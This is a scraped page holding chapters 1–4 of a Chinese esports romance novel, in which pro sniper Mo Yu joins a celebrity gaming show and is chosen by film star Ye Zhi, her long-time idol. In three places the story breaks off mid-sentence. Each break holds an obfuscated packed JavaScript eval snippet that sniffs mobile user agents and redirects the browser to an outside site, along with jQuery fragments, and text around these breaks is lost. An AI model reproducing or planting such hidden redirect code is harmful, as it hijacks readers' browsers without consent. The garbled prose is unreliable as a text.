《月亮狙击[电竞]》 1. 暗恋第一天 “叶之，大影帝，拜托了！我合同都签了，现在违约可是要陪大价钱的。” 经纪人眉头凝成一团，声音颤颤巍巍，仿佛是一条流落街头的野狗。 叶之一眼看穿了经纪人这伪装的状态，淡淡道，“你比我演技好啊，下个本子要不你自己上？” 他手上继续做着杂志里附赠的数独题目，眼皮一下没抬。 经纪人被识破后一秒立正，“大影帝，真的，你要怎么样，才能同意上这个节目？” 叶之缓缓举起右手，比了个数字三，挑眉瞥了一眼经纪人。 “唉。”经纪人认命地垂头叹了口气，“三礼拜就三礼拜吧。” 叶之微笑，摇了摇头，眼神回到数独题上，面无表情地扔下炸弹。 “是三个月。” “我靠，大影帝，你这是狮子大开口啊！”经纪人觉得自己急需吸氧，他从叶之的左边绕到了右边，生动演绎了什么叫做急得团团转。 “你知道三个月不开工，我们要损失多少钱吗？而且现在观众很花心的，一直没有曝光，咱们地位不保啊！” 但叶之并没有半分改口的意思，只是专心致志做着手里的题目。 这是他在演完一个天才数学家的角色后养成的习惯，一开始是角色需要，后来做得久了，叶之就爱上了这种能够快速帮助自己集中注意力的方式。 半晌，经纪人看着已然进入自己世界的叶之，长叹一口气，败下阵来。 “好吧，但只此一次啊！” 叶之手中那支黑色金边的万宝龙钢笔，在骨节分明的食指和中指间旋转了一圈。 数独题刚巧解完——“成交。” 他将经纪人递来的合同从头到尾翻了一遍，这才龙飞凤舞地签上大名。 “叶老师，到您这场了。” 化妆室响起敲门声，时间卡得刚刚好。 经纪人挺直腰板，“知道了，我们这就过去。” 叶之此时正在拍一部民国电视剧，名叫《迷探》。 他饰演的角色是一名智商超群留学归来的神探，一如既往的没有什么感情线。 重新出现在片场的时候，他身着一身笔挺的棕色西装套装，裁剪得体服帖，是师傅特地量身定制的。他的手上则拿一顶黑色礼帽，高挺的鼻梁上架着金丝边眼镜，整个人显得禁欲又迷人。 他正倚靠在一辆黑色老爷车的车门上，轻轻用手中的礼帽扇着风。 “咔嚓——”相机快门声迭起。 片场一开始是禁止路透的，但架不住叶之的人气，粉丝站姐上树爬墙，屡出奇招。 好在，叶之如今出道已经五年，粉丝也算是经验丰富，懂得什么能放什么不能放的，倒也没引起什么事故。 后来导演也就懒得再花力气，堵不如疏，权当是免费宣传了。 * Wings俱乐部。 “莫羽，导演组点名要你去做教练，你就同意吧。”战队领队看着依旧目不转睛盯着电脑屏幕的长发少女，一脸无奈。 谁叫莫羽是战队最强狙击手呢？如果她咬死不同意，那谁也拿这尊大佛没办法。 莫羽正在加训，鼠标和键盘啪啪地响着。 “再说吧。”莫羽既没拒绝也没同意，“或者你可以问问小酒，听说他女神会来？” “酒半杯那小子？”领队翻了个白眼，“就他天天口嗨的样子，上节目我不得每时每刻提心吊胆的？而且搞不好，还能给我变成公关危机好吧？” 大概是想象中的画面实在惊悚，领队不由得打了个哆嗦。 “反正，你再考虑一下呗，我们队真的就你最合适了。” 莫羽不置可否地点头，进行着最后几个人头的收割。 领队没辙，摸摸鼻子离开了。 不出几分钟，系统提示音在莫羽的耳机里响起。 “Victory!” 人机赛对她来说就算是最高级别，也没什么难度可言。 她摘下耳机，开始刷起了微博，越浏览，嘴角的弧度越高。 巴掌大的手机屏幕里，是一个西装革履的男子慵懒地倚靠在交车上，他的眼睛因为刺眼的阳光而微微眯起。下一张照片里；男子挺拔的鼻梁之上多了一副墨镜，遮住了半张脸，却显得下颚线更加凌厉。 莫羽呼吸一滞，手不自觉停了一下。 从出道看到现在，看偶像的角色路透还是会忍不住因为他的帅气心跳加速。 没错，莫羽手机里的西装男子正是影帝叶之。 看上去对这个世界都没什么兴趣的电竞天才，其实有一个喜欢了五年的偶像。事实上，叶之的电影和电视剧陪伴着她度过了青春期最孤独黑暗的日子，那一个个鲜活的角色就像是照进门缝的微光。 叶之不常出演电视剧，这一次接下这部《迷探》，让很多粉丝惊喜不已。莫羽和绝大多数粉丝一样，期待着影帝再次贡献出让人沉浸其中的演技。 莫羽仔仔细细欣赏了一圈叶之的路透照，这才放下了手机。 * Wings俱乐部食堂是出了名的品类多味道好，每到饭点，队员和员工就排起长队。 因此，莫羽通常会加训半个多小时再过来，避开高峰，也避开一些不必要的社交。对她来说，游戏世界比现实更可靠。 “队长！你来啦！”远远的，一个穿着白色套头卫衣的男生用力招着手。 莫羽刚点完餐。 她端着塑料盘朝男生的方向走去，喊了一声男生的名字，“小酒。” 这是领队嘴里随时能搞出公关事故的酒半杯，真名白一久，和莫羽同岁，是当年一起入队的伙伴。虽说网名酒半杯，但实际是半杯倒，又菜又爱喝，常常被罚打扫被他本人吐了一地的卫生间。 因着自来熟的态度，莫羽在队里一众人里，就属和小酒最熟悉的。 小酒是个话唠，且全队上下所有人，包括稍微对他有那么点了解的粉丝都知道，他的偶像是当红影后孟茜。 “唉，我和你说，听说我女神已经和《冠军狙击》节目组签约了。”小酒垂头丧气的，“但是我求了领队已经俩礼拜了，他真的无、动、于、衷！” 莫羽扒拉了一口饭，没好意思说，领队今天也再次无情拒绝。 大概是已经习惯了莫羽不爱说话的性格，小酒自顾自地继续着，“不过，我听说，叶之好像也签了。叶之你知道吧？就那个金像奖影帝！” 莫羽手里夹菜的筷子一滞，绿油油的西兰花掉到了盘子上。 小酒显然没注意到她的异常，还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135402|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸神秘地说着他到处打探来的关于电竞综艺人选的八卦。什么哪个老牌歌星被节目组说动了，哪个当红组合的小爱豆也想来分一杯羹之类的。 总之，莫羽左耳朵进，右耳朵出。 在听完叶之的名字后，她就完全神游天外了。 破天荒的，她追问小酒道，“你的消息准确吗？” 小酒被问得一愣，“我节目组的朋友和我透露的，应该不会有假吧。听说这两天，他们就要陆陆续续官宣了，毕竟还想最后招一波商吧。影帝叶之和影后孟茜，能把这俩请来，估计又能加好几个赞助商。” 莫羽感觉这食堂的饭菜突然没了味道。 如果说，叶之真的上了这个节目，那自己岂不是可以实现近距离追星？ 她匆匆吃完了饭菜。 “小酒，我有事先走了，今天谢谢你。” 小酒丈二和尚摸不着头脑，低喃，“队长谢我啥呀？” 没等到答案，莫羽留给了他一个推门而出的背影，就消失了。 * “笃笃——” 领队办公室的门被敲响。 “进。”领队抬头，看到门口的人，疑惑地皱起眉头，“莫羽？” 莫羽过来的有些着急，她平复了下因运动而加速的心跳，这才开口。 “那个综艺，我还能去吗？” 领队皱起的眉头锁得更紧了，神情古怪。 “可以是可以。”犹豫了半天，他还是继续问道，“你怎么突然同意了？” “因为小酒。”莫羽答。 这句话并没错，她确实是因为小酒的情报才过来的。但同样的四个字，落到领队耳朵里便完全变了个意思。 领队终于舒展了眉心，一脸我都懂，“害，那小子又求你帮他追星了？不过也算是帮了我个大忙。” 紧接着，他从桌上找到了早早准备好的合同，又随便从笔筒里找了支签字笔给莫羽。 莫羽工工整整地写下自己的大名，一笔一画像是学生般认真。 尽管，从高中毕业后，她就一天学都没上过，而是早早进入了电竞职业的圈子。 “下个月会有第一次录制，就在城郊的电竞基地。” 领队看了眼合同嘱咐着，语气里全然是对莫羽的放心。 莫羽点点头，“嗯，我会努力拿个冠军回来。” 领队又是一愣，然后哈哈大笑起来。 “好好好，不愧是我们队的王牌狙击手，有志气！” 实际上，通常这种综艺几乎都是剧本和套路，领队对此早就见怪不怪了。 但看到第一次上综艺节目，眼里满是认真和耿直的莫羽，他思考了下还是想着提醒一下。 “到时候节目组要是让你做一些不愿意的事儿，你别跟他们起冲突。和我说，我再去沟通。那些大明星有的脾气也不太好，要是被欺负了找我。” 莫羽还是点头，那样子看起来乖巧又听话。 可惜，领队早就知道，这姑娘究竟有多倔强，有多“不撞南墙不回头”。这在比赛场上是件好事，但上了综艺，可就不一定了。 目送莫羽出门的时候，领队的眼里流露出一丝担忧。 也不知道让莫羽去参加节目，究竟是件好事还是坏事...... 2. 暗恋第二天 八月末，正值联赛休赛季。视频公司便找上“废土求生”联盟的各大俱乐部，策划了一档别开生面的明星电竞综艺节目。 作为当下最火的第一人称射击类游戏，“废土求生”在全球范围内积累了不俗的人气。职业联盟如今步入了第七个年头，无论是奖金池还是赞助商，都在水涨船高。联赛分为春季赛、夏季赛和全球总决赛，冬天是传统的休赛季。 但废土求生搞跨界合作的综艺节目，却是头一遭。 至于各大俱乐部愿意加入这场“游戏”的原因嘛，无他，主要是对方给的实在是太多了！ 早上十点，郊外的电竞大厦就迎来了一批特别的新人，今天大家主要是进行前瞻花絮片的拍摄，抽签分组，个人和团队定妆照拍摄，以及每个俱乐部教练的初见面。 莫羽昨晚有点没睡好。因为要见偶像，她一整晚都在床上翻来覆去、思绪纷飞，大概到了三四点的样子，才终于昏昏沉沉进入了梦乡。 不出所料，第二天，她是挂着两个大黑眼圈来到节目组的。 “啊呀，要不是你底子好，这么熬夜对皮肤可太伤了。”休息室里，化妆师一边帮莫羽打粉底，一边可惜地嘟囔着。 “嗯。” 莫羽话不多，但这幅好面孔还是让化妆师格外关照，从眼妆到唇妆，从打底到高光，仔仔细细。 三十分钟后，化妆师得意地笑道，“看看，我是不是把你的美貌更加凸显出来了？要我说，你可不输那些来参加节目的明星们。” 莫羽依旧是微微一笑，但心里却不由自主地有些期待。她悄悄将手掌放在胸口，感受着心脏这不同寻常的跳动。 少女心事如同夏日里那杯带着酸涩的甜味气泡酒，让人忍不住尝了又尝。 终于，终于要亲眼见到自己喜欢了五年的叶之了！ * 中央演播厅被装修成一个九十年代游戏厅的样子，彩色的霓虹灯复古又朦胧，就是故意做旧的设备显得气氛有些荒凉。 但实际上，这里的布置几乎一比一复刻了“废土求生”游戏中原始地图的出生点，甚至连墙上的海报和霓虹灯装饰板也是游戏里出现过的内容，别无二致。 节目的财大气粗不仅体现在用心还原的布景，也体现在明星和教练阵容的空前强大。 从影帝影后到小生小花，从老牌歌星到当红偶像男团女团成员，节目组表示，不知道大家爱看什么，就都请来了。 莫羽在后台等待着上场，她好奇地探头看了一眼游戏厅里的明星们，感叹小酒的情报网果然靠谱。 其中，叶之和孟茜被安排在了中间相邻的位置上。俊男美女的搭配，哪怕只是这么坐着，都足够吸睛。 台上的人们还在主持人的控场下完成固定的寒暄环节，嘉宾很多，一一介绍加上互相聊天环节，这都快过去一个小时了。 莫羽有一搭没一搭地听着，没意思地打了个哈欠。 她眼皮耷拉着，感觉就要完全闭上的时刻，耳边终于响起了工作人员催场的声音。 “下面，让我们有请俱乐部的特邀教练们入场！”主持人介绍的声音从台上传来，“首先是来自Wings俱乐部的plumage莫羽！Wings是上个赛季全球总决赛冠军队伍，而plumage莫羽在决赛中贡献出极限三杀，帮助队伍逆风翻盘！” 莫羽摇了摇脑袋，将瞌睡虫赶跑。 她上台的步调仍显得有些拘束。比起打游戏，这种要社交的场景，她实在是既不习惯也不喜欢。 好在，场内的大屏幕已经开始播放起她的VCR，剪的正是最后那一段让无数粉丝热血沸腾的画面，吸引了在场大部分人的目光，便也没人在意她究竟顺拐没。 镜头是从Wings队员接二连三的阵亡开始的。 关键局进行到第20分钟，Wings场上仅剩莫羽一人，而对面仍有三名队员。 正当所有人以为结局已定Wings老家不保的时候，莫羽突然从无人注意的角落里跳进了战场，在对手毫无防备的情况下连开三枪，枪枪爆头，稳稳把三个人头收入囊中。 时机、走位、精准度无一不是世界最高水平。特别是她的最后一枪，在躲过了对方致命一击的同时，下一秒就直接送走了对方。 呼—— 莫羽如释重负地长舒一口气，她自然地摘下大红色的耳机，柔顺的长发散落在肩膀，因着摄像的角度，那头发恰巧挡住她半张脸。 犹抱琵琶半遮面。 按照粉丝的说法，莫羽不去代言洗发水，实在是金主爸爸没眼光。 莫羽的脸上看不出拿下世界冠军的激动，她如天鹅一般斜仰着头，露出一截洁白修长的脖颈。 咔嚓、咔嚓—— 现场的闪光灯连成一片，毫无疑问，她成为了现场所有摄影师的焦点。 VCR画面的最后定格在颁奖仪式，属于冠军的金雨成了莫羽黑发上最特别的装饰。 视频结束，场内惊叹声四起。 莫羽循着声望去，一眼在人群中看到了跟着一起鼓掌的叶之。 没来由的，心跳空了一拍。 叶之今天的打扮，简直让莫羽再次心跳加速。 他穿着一整套藏青色的西装，脸上架着一副金丝边眼睛，一边看着屏幕，一边漫不经心地用中指推了下细细的金属鼻托。 眼镜没有度数，是装饰作用十成十的平光镜，但和叶之的整体的气质完美融为一体。 听得累了，他便双手撑在身后，上身微微向后仰去，愣是把严肃的西装穿出了随意不正经的意味。 莫羽快速收回观察偶像的眼神，向所有人挥了挥手，一如既往的言简意赅。 “大家好，我是来自Wings俱乐部的plumage莫羽，打主输出位。” 紧接着出场的五位教练也都是来自大热俱乐部的明星选手，每一个VCR都是各种神级操作集锦，让人目不暇接。 大家一字排开站定，终于进入了节目组精心设计的选人环节。 在此之前，24位明星选手已经通过节目组的战力测试，被分成了四个等级，六位教练将从每个等级选择一名队员。 这样的赛制为的就是平衡每队的实力，提升比赛的悬念。 主持人：“各位教练每一轮同时写下你最想要的学员的名字，如果有学员获得超过两票，将进入反选环节。” 这规则果然够刺激，一不小心就是修罗场。 当然，节目组对此乐见其成。 莫羽不自觉地朝叶之的方向瞄了一眼。 但没想到的是，叶之对视线捕捉很敏锐，他几乎立刻望了回去。 四目在空中相对，莫羽感觉耳边出现了滋滋的电流声，脑袋里名为理智的那根线短路烧着了。 尽管是不在意的一瞥，但叶之那双漆黑的眸子仿佛就是有种特别的魔力，像是黑洞一般吸引着莫羽沦陷。 一如他电影里的那些主人公。 莫羽尽量不让自己的表情暴露此刻的情绪，努力将眼神撇开。 她的心微微一颤。她有点害怕，害怕自己见偶像的第一天就掉马！ 幸好，主持人再次发话，拯救了一场一触即发的危机。 “首先是在本次测试中获得最高评级A级的各位学员们，各位教练，请在你面前的白板上写下心仪人选的名字吧。” 莫羽呼了一口气，将注意力转移到大屏幕上的公式照和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她这个回答挺巧妙的，接着之前莫羽的话说，又莫名带点儿火药味。 Shiny是上赛季季军队伍胜点俱乐部的队长，沉稳老练，24岁的年纪在联盟几乎是元老级别的存在。 小道消息称，他将在下个赛季后退役。 至于其他没有被选中的教练们，则失去了主动权。天平的砝码自动移到了选手一侧，选择被迅速完成。 主持人：“第一轮可谓是相当激烈啊，那让我们看一下大家第二轮的选择吧。” 大屏幕换上六张崭新的公式照，穿着黑色西服的叶之赫然出现在正中央，似乎一下掩盖住了旁边几人的光芒。 莫羽呼吸一紧，心跳不自觉再次加速。 她没有犹豫地在白板上写下叶之的名字。那名字曾经在电影的结尾看过无数遍，在写满少女心事的笔记本上记录下无数遍。 “看来我们教练组吸取了上次失去主动权的教训，不打算选择太抢手的人选。选择咱们影帝叶之的只有莫羽和Shiny。”主持人的话对于莫羽来说，是再好不过的消息。 二选一，被选中的概率足有50%。 莫羽窃喜，迫不及待地望向叶之。因为有了选人的借口，她遵从本心，不再掩饰眼神中的炙热，就这么明目张胆地盯着自己的偶像。 唔，这种扑面而来的现实感，果然是隔着屏幕所不能体会的。 获得反选权的叶之微微挑起一边眉。 他的眼神在莫羽和Shiny之间徘徊，一副陷入苦恼的样子。 全场寂静，所有人都在等待。 莫羽在心中默念：“选我吧。” 3. 暗恋第三天 叶之大概犹豫了十秒钟，但这短短的十秒钟在莫羽看来仿佛有一个世纪那么长。 好似对面的男人捏住一根皮筋的两端，用力将它拉得很长很长。 “我选择...”叶之兀地开口。 然后在那根皮筋快要被扯断的时候，男人松了手。 皮筋一下失去了束缚，弹了出去。 “我选择Wings战队莫羽。” 话筒把叶之那富有磁性的低沉嗓音放大，震得莫羽耳朵有些酥麻。也可能震麻耳朵的并不是音量，而是那句念念不忘后的回响。 砰—— 失去控制的橡皮筋直直击中了莫羽的额头，点燃了她大脑里名为“得偿所愿”的烟花的引线。然后，那快乐的情绪瞬间升空，绽放出一朵美丽的图案，化作漫天的绚烂金色，最终又唰啦啦地落满人间大地，照亮黑暗的小巷。 莫羽克制着那种小鹿乱撞的心思，右手紧紧扣住话筒。因为用力，她食指关节竟渐渐失了血色。 主持人好奇地问她感想，话里有话，“据我所知，叶影帝打的位置也是输出，这次怎么又选择重复了呢？” 说到专业问题的时候，莫羽总是特别认真，她似乎一瞬间忘记了叶之还站在自己眼前的事实。 她一字一句地分析，眼睛亮亮的，“其实叶之前辈打输出有点太莽了，我觉得他可以朝坦克的方向发展试试，说不定能有奇效。” 啪，皮筋反弹，将空气中的粉红泡泡瞬间戳破。 叶之的脊背板直，就算坐了许久，那洁白的衬衫仍没有一丝褶皱。脸上依旧维持着一贯的绅士微笑，似是不在意地回道：“我打什么位置都行。” 莫羽这才反应过来自己刚才说了什么，闭上眼睛在心中懊恼。 莫羽啊莫羽，你刚才究竟在说些什么啊，是在吐槽大影帝冲动吗？这刻在dna里的职业习惯，真是，来得过分及时了。 在充满火药味的前两轮选人“大战”结束后，后面的过程就因为过分平和而显得有些无聊了。教练们的选择只是偶尔出现交集，整体气氛一派祥和。 莫羽在自己的可选范围内，尽力组了一支颇为全面的队伍。男团偶像夏正晨、影帝叶之、新晋小花徐晓慧和老牌歌手谭山，哪怕从知名度和话题度来说，也是不遑多让。 * 算上化妆准备的时间，这第一集的节目转眼就从早晨录制到了日落时分，并且看样子丝毫没有收工的意思。 主持人在台上组织着破冰小游戏。 还没轮到莫羽，她便百无聊赖坐在台下，面无表情地打了两个哈欠，双眼失焦。 大概是太过明目张胆，这自在的状态引来了队友的侧目。 连叶之也投来探究的目光，声音低沉地问道，“昨晚没睡好？” 听到这六个字的关心的时候，莫羽立马清醒了过来。 那种感觉，好像是在教室上课时打瞌睡，被暗恋的男生抓了包，有点惊喜，但更多是惊吓。 她很想说，还不是因为大影帝你。 但这话太惊悚，不能说。 于是，莫羽换了个模糊的说法，“太紧张。” 心中希望的那个人没开口，坐在旁边的夏正晨倒是一脸感慨，“原来莫羽姐你也会紧张啊，我一直看你的比赛，你在关键时刻真的太大心脏了，好像你天生就不会紧张一样！” “谢谢。”莫羽耐心听完来自小爱豆的彩虹屁，然后两个字终结了话题。 夏正晨张了张嘴，还想说些什么。 小花徐晓慧出声打断，“你和莫羽是同岁吧？” “啊，我生日比莫羽姐小三个月。” 夏正晨讪笑着解释，脸上闪过一丝尴尬，没想到她会揪住这个点追问。 “哦，这样。”徐晓慧意味深长地点头，“我今年也二十，好巧，我们都是同岁呢。” “没事，你们想叫什么我都随意。”莫羽向徐晓慧投去一个感谢的眼神，然后无所谓地耸耸肩。 毕竟，竞技场上没人在乎你几岁，只要打得足够好，是十岁的孩童还是八十岁的老翁，并没什么区别。 叶之就这么安静地在一旁看着几个人的对话，一点儿都没有要加入讨论的意思。 但夏正晨下一句话，直接把他拉下水，“感觉我是看着叶前辈的电影，听着谭前辈的歌长大的一代人。” 莫羽皱眉，下意识为叶之说话，“叶之前辈也只比我们大七岁吧？” 而谭山前辈比他们大了二十岁。 叶之神色如常，但话里有话，“可能是我荣誉拿得比较多吧。” 夏正晨：“哎呀，看来是我说错话了。” 至于真正的大前辈谭山，他正乐呵呵地眯着眼睛看着小朋友们，是队伍里那个真正没打算加入战局的人。 主持人的发言很快打断了这场略带硝烟味的交流。 “现在我们请莫羽战队和Shiny战队来到台上，一起完成一个破冰小比拼。” 破冰游戏和前两组一样，两队轮流答题，五秒内答不上即为失败。至于破冰游戏的三组胜利战队，将在第一轮比赛中享有选择英雄的先手权。 前两轮的题目都没什么特别的，和歌词相关。 一轮是接带颜色的歌，一轮是接带数字的歌，双方战队的专业歌手趁机小秀了一把歌喉。 莫羽和叶之则稳稳地站在队伍里，丝毫没有抢答的意思。 莫羽想了一下之前团建自己唱歌时，队友一言难尽的表情，更是不自觉退后了一步。至于叶之，她想，自己好像确实没怎么听过他唱歌。 场上最惊艳的实际是影后孟茜。 她不仅歌曲储备惊人，歌声也是意外的清透，像是夏天的一支冰激凌，清凉中又带着丝丝甜意，主持人连呼“好听”。 “恭喜Shiny战队连续拿下两分！” 主持人没打算放过节目分量，尤其是耳麦里的导演组传来反馈，表示并没有得到叶之的太多画面。 “虽然胜负已定，但第三轮答题还是要继续啊。” 于是，第三轮的题目堂而皇之地变成了“叶之演过的电影”，听上去像极了节目组给莫羽战队的送分题。 但叶之显然不想作弊，他摆摆手示意自己没加入的打算，脸上却是饶有兴致的浅笑。 “3、2、1，开始！”主持人一声令下。 最先上前一步的是夏正晨，他弯起眼睛，自信地说出了叶之获得亚洲影帝的电影《内幕》，是人尽皆知的代表作。 这是一部构思巧妙的悬疑片，交织人性的善恶，叶之在片中饰演基金公司经理。 对面的孟茜紧接着拿起最前方的话筒，说了叶之演过的一部文艺片。因为有些小众的缘故，大家看两人的眼神先是惊讶，然后是略带粉红泡泡的八卦打量。 尤其是孟茜说完还略带害羞的模样，让大家浮想联翩。 叶之却全程维持绅士模样，气定神闲地看着大家对自己的影视作品如数家珍。 但比赛在几个来回之后，却直接陷入了僵局。 实际上，叶之出道五年以来的作品并不多，他更希望能全身心地打磨每一个角色。饶是看上去对他很了解的孟茜，也陷入沉思，久久没有上前。 主持人开始倒数，“还有2秒！” 莫羽撇了一眼叶之，迈了一大步，干脆利落地拿起话筒。 她笃定地说：“《第一定理》” 叶之瞳孔微微收缩，有些惊讶。 《第一定理》是叶之的出道作，一部叫好不叫座的电影，上映时没什么排片，获奖也只是欧洲某国的新人奖，算是只有资深粉丝才看过了解过的存在。 “让我们恭喜莫羽战队拿下宝贵的第三分。但很可惜，Shiny战队还是以2-1获得了第一轮比赛的先手权。不过我有点儿好奇，莫羽你怎么对叶影帝的片子了解得这么清楚？” 主持人成了众人的嘴替，问出了萦绕大家心头的疑问。 莫羽沉默。 她突然害怕自己是叶之粉丝的身份被戳穿。 “来之前我做了点功课。” 半晌，她给出了一个看似无懈可击的答案。 幸好，主持人没有追问现场其他人的作品。否则，莫羽的谎话就将被当场戳穿。 叶之看了她一眼，又缓缓收回眼神。 砰砰砰，莫羽感觉心跳加速。 有些心思注定是要被悄悄藏在无人窥视的黑暗角落的，一旦暴露在阳光下，就会呲的一声化作一缕轻烟，在心头烧出一个窟窿。 第一集的收尾，是电竞比赛百用不厌的放狠话环节。 俱乐部的教练们心领神会地接过话茬，比起说狠话，他们这几位更像是在讲笑话，综艺效果满分，但不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135404|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是比赛。 也是，在场没人把这个节目的胜负看得那么严肃。 除了一个人。 莫羽紧绷着嘴唇，重现自己在联赛总决赛前的豪言壮语。 “我的目标是冠军！” 她像是是在一堆修建得漂亮规整的景观树里，突兀地竖起的一颗虬枝肆意生长的古怪树苗。 喜欢的人觉得她够直爽，不喜欢的人觉得她扫兴。 当天录制结束的备采时间，导演组好奇地问叶之，“你最后是怎么选择了莫羽战队呢？” 叶之嘴角上扬，“因为我最讨厌的，恰巧也是输。” * 节目的预告花絮和第一集上线当天，就引起了全网热议。 有明星们的地方，除了夸夸彩虹屁，还有不可避免的争吵。这一集孟茜和莫羽、叶之和夏正晨之间或明或暗的火花，在节目组的剪辑效果之下，硝烟更浓。 尤其在孟茜的粉丝看来，莫羽的行为和正面攻击没什么两样。两方粉丝在互联网的马甲下，如节目组所愿地争吵了起来，给足了热度。 @孟小茜是我老婆：无语，影后上节目还要被针对...这个莫羽是不是喜欢叶之啊？在这里针对我们姐姐是个什么事？说什么位置冲突，都是借口吧！ @神枪手莫羽天下第一：不是，电竞综艺和演技到底有什么关系？孟茜和叶之的等级划定视频我都看了，莫羽说的没错啊！ ...... 莫羽看了一眼水火不容的粉丝发言，叹了口气，将手机放在了一边。 第二集录制的日子正是上线后的第二天。录制地点则是从电竞大厦转移到了每个俱乐部的基地。明星们刚刚组建的新队伍将在各个职业俱乐部主队，度过为期一周的特别训练时间。 导演组摄像组们各司其职地在场内忙碌，明星们在场边补妆，随时准备开机。 至于俱乐部里不常上镜的二队和青年队成员们，则个个好奇地四处张望。 除了断网的老牌歌手谭山，其他所有人对网上的评价心知肚明。但莫羽不属于这个圈子，大家彼此对视，却心照不宣地选择了沉默。 莫羽多看了一眼叶之。 尽管知道他不可能也没有立场来关心自己，可那个瞬间，心里还是空落落的。 今天所有人都换上了Wings俱乐部的队服。 明明是宽松的拉链式运动外套，穿在叶之身上，就变得挺拔又干净，像极了高中校园里被女生暗恋的学长。 果然，偶像好看的皮囊拥有冲垮一下负能量的力量。 莫羽在心里暗道。 但让莫羽心跳频率直线上升的场景，永远是叶之的下一秒。· 此时，化妆师正在叶之那张轮廓分明的脸上按着粉扑。 男人闭上眼睛，任由纤长的睫毛懒懒地躺在毫无瑕疵的皮肤之上。 啪—— 导演组恰巧打开晃眼的大灯，细腻的粉尘悬浮在空中，像是蒙在这座人像雕塑上的一层白纱。 叶之睁开眼睛，睫毛扇动像是蝴蝶轻颤翅膀。 莫羽感觉此刻很晃眼，头都变得晕乎乎的。 也许是头顶的白炽灯实在太亮，也许是叶之在灯下闪闪发光。 “大家先来拿一下自己的新耳机。” 莫羽觉得此时应该强迫自己干点什么。 她看了一眼四周，将一个大盒子搬到场地中间放下。里面装的是四个同款不同色的头戴式耳机，是队里为明星学员们重新采购的。 “哇，我喜欢这个黄色的！”夏正晨两步跨到箱子前，兴冲冲地挑好了自己的那一款。 “前辈们，你们先挑吧。”显然，徐晓慧不想挨网友不尊重前辈的骂。 谭山乐呵呵地选了一个白色的耳机。 叶之却伸手，“我都可以。” 此时，盒子里还躺着蓝色和黑色的两款。徐晓慧苦恼了一下，选择了和她甜美形象颇为反差的黑色。 莫羽拿起最后剩下的蓝色耳机，朝叶之的方向递了过去。 她想，叶之的耳机是蓝色的，和自己的红色很配。 手背倏然传来陌生的触感。 再抬眼，她发现叶之那修长的手指竟搭在了自己紧握着耳机的手上，手背的青筋清晰可辨，指骨分明。 噌的一下，热气上了脸，莫羽感觉自己要烧起来了。 4. 暗恋第四天 叶之的手好像成了夏日解暑的冰袋，传来丝丝凉意。 但他很快将手移开，接过了莫羽手中蓝色的耳机，看了一眼她，轻声道，“谢谢。” 莫羽感觉自己的眼睛就像是粘在了叶之身上，无法挪开。 总导演高喊action，打断了四目相对却又相顾无言的二人。 莫羽敛神，转过头悄悄深呼吸，平复了下单方面过分激动的心情。 然后，她按照台本所写的那样给队员们仔仔细细地介绍起Wings俱乐部的构造和这几日大家的日程安排。 他们此刻正在俱乐部大楼的二层。 “这是我们一队平时训练的机房，旁边的机房是二队和青训队轮流使用的。每天下午2点和晚上6点各有一场训练赛。晚饭时间是5点到6点，大家可以去三楼的食堂，也可以自行解决。” 她指了指中间两排电竞椅，“大家这周就坐这儿吧。” 作为这次节目莫羽战队的助教，小酒接过话茬补充道，“这是我们平时坐的位置，多亏你们来了，我们获得了一周的假期。” 大家哈哈一笑，气氛瞬间活跃起来。 有小酒在，话就不会掉在地上。至于他的“助教”身份嘛，这是在和领队再三保证不会乱说话之后，才好不容易获得的。 介绍完每天打比赛的地方，莫羽便拖着一条长长的小尾巴，走到了右侧的房间，“这是健身房，我们一般9点起床，会安排一小时的早训。” “刷工卡就可以开门啦。”小酒的解释适时响起，“再旁边是淋浴间，锻炼完想洗澡也随意。” 作为队伍唯一的女生，小花徐晓慧的眼里闪过一丝尴尬。 莫羽敏锐地捕捉到她的异常，心下了然。 于是悄悄走到她身边，低声在她耳边说道：“我那里是独立卫浴，你要是怕不方便，就来四楼我房间用。” 独立卫浴的待遇实际是俱乐部独一份，但莫羽作为队里的顶梁柱，领队毫不犹豫地特地将最里侧的大房间分配给了她。 徐晓慧听到这话，悄悄松了口气，给莫羽投去一个感激的笑容。 介绍完右侧，莫羽就带着大家来到了机房的另一边。 “这里是会议室。”莫羽扭开房门的把手，摸索着墙壁上的开关。 此刻房间里漆黑一片，厚实的窗帘将室外的光线完全隔绝，伸手不见五指。 夏正晨突然停下前进的脚步，默默退到了叶之的身后。 “我，我怕黑。” 叶之只是轻轻扫了一眼身后的人。 他目不斜视，站如松柏，宽阔的肩膀和在西服之下紧绷的手臂肌肉，一看就是常年保持锻炼习惯的。撑得起正装，但又不会太过壮实如同吓人的保镖。 实际上，叶之曾在孟茜提到的那部文艺片里露过上半身，引得无数粉丝在他的评论区激情留言，评论尺度空前。 时至今日，这部片子的剧照仍然是很多粉丝的心头好。 当然，也包括莫羽。 